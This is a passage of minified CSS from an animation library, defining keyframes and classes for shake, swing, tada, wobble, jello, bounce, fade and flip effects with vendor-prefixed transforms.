shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes
headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px)
rotateY(-9deg);transform:translateX(-6px)
rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px)
rotateY(7deg);transform:translateX(5px)
rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px)
rotateY(-5deg);transform:translateX(-3px)
rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px)
rotateY(3deg);transform:translateX(2px)
rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes
headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px)
rotateY(-9deg);transform:translateX(-6px)
rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px)
rotateY(7deg);transform:translateX(5px)
rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px)
rotateY(-5deg);transform:translateX(-3px)
rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px)
rotateY(3deg);transform:translateX(2px)
rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}.headShake{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;-webkit-animation-name:headShake;animation-name:headShake}@-webkit-keyframes
swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes
swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top
center;transform-origin:top
center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes
tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9)
rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9)
rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes
tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9)
rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9)
rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1)
rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes
wobble{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}15%{-webkit-transform:translate3d(-25%,0,0)
rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0)
rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0)
rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0)
rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0)
rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0)
rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0)
rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0)
rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0)
rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0)
rotate3d(0,0,1,-1deg)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
wobble{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}15%{-webkit-transform:translate3d(-25%,0,0)
rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0)
rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0)
rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0)
rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0)
rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0)
rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0)
rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0)
rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0)
rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0)
rotate3d(0,0,1,-1deg)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes
jello{11.1%,from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}22.2%{-webkit-transform:skewX(-12.5deg)
skewY(-12.5deg);transform:skewX(-12.5deg)
skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg)
skewY(6.25deg);transform:skewX(6.25deg)
skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg)
skewY(-3.125deg);transform:skewX(-3.125deg)
skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg)
skewY(1.5625deg);transform:skewX(1.5625deg)
skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg)
skewY(-.78125deg);transform:skewX(-.78125deg)
skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg)
skewY(.390625deg);transform:skewX(.390625deg)
skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg)
skewY(-.1953125deg);transform:skewX(-.1953125deg)
skewY(-.1953125deg)}}@keyframes
jello{11.1%,from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}22.2%{-webkit-transform:skewX(-12.5deg)
skewY(-12.5deg);transform:skewX(-12.5deg)
skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg)
skewY(6.25deg);transform:skewX(6.25deg)
skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg)
skewY(-3.125deg);transform:skewX(-3.125deg)
skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg)
skewY(1.5625deg);transform:skewX(1.5625deg)
skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg)
skewY(-.78125deg);transform:skewX(-.78125deg)
skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg)
skewY(.390625deg);transform:skewX(.390625deg)
skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg)
skewY(-.1953125deg);transform:skewX(-.1953125deg)
skewY(-.1953125deg)}}.jello{-webkit-animation-name:jello;animation-name:jello;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes
bounceIn{20%,40%,60%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes
bounceIn{20%,40%,60%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes
bounceInDown{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
bounceInDown{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes
bounceInLeft{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
bounceInLeft{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes
bounceInRight{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
bounceInRight{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes
bounceInUp{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
bounceInUp{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes
bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes
bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes
bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes
bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes
bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes
bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes
bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes
bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes
bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes
bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes
fadeIn{from{opacity:0}to{opacity:1}}@keyframes
fadeIn{from{opacity:0}to{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes
fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes
fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes
fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes
fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes
fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes
fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes
fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes
fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes
fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes
fadeOut{from{opacity:1}to{opacity:0}}@keyframes
fadeOut{from{opacity:1}to{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes
fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes
fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes
fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes
fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes
fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes
fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes
fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes
fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes
fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes
fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes
fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes
fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes
fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes
fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes
fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes
fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes
flip{from{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-360deg);transform:perspective(400px)
rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px)
translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px)
translate3d(0,0,150px)
rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px)
translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px)
translate3d(0,0,150px)
rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px)
scale3d(.95,.95,.95);transform:perspective(400px)
scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes
flip{from{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-360deg);transform:perspective(400px)
rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px)
translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px)
translate3d(0,0,150px)
rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px)
translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px)
translate3d(0,0,150px)
rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px)
scale3d(.95,.95,.95);transform:perspective(400px)
scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes
flipInX{from{-webkit-transform:perspective(400px)
rotate3d(1,0,0,90deg);transform:perspective(400px)
rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,-20deg);transform:perspective(400px)
rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,10deg);transform:perspective(400px)
rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,-5deg);transform:perspective(400px)
rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes
flipInX{from{-webkit-transform:perspective(400px)
rotate3d(1,0,0,90deg);transform:perspective(400px)
rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,-20deg);transform:perspective(400px)
rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,10deg);transform:perspective(400px)
rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px)
rotate3d(1,0,0,-5deg);transform:perspective(400px)
rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes
flipInY{from{-webkit-transform:perspective(400px)
rotate3d(0,1,0,90deg);transform:perspective(400px)
rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-20deg);transform:perspective(400px)
rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,10deg);transform:perspective(400px)
rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px)
rotate3d(0,1,0,-5deg);transform:perspective(400px)
rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes
flipInY{from{-webkit-transform:perspective(400px)
rotate3d(0,1,0,90deg);transform:perspective(400px)
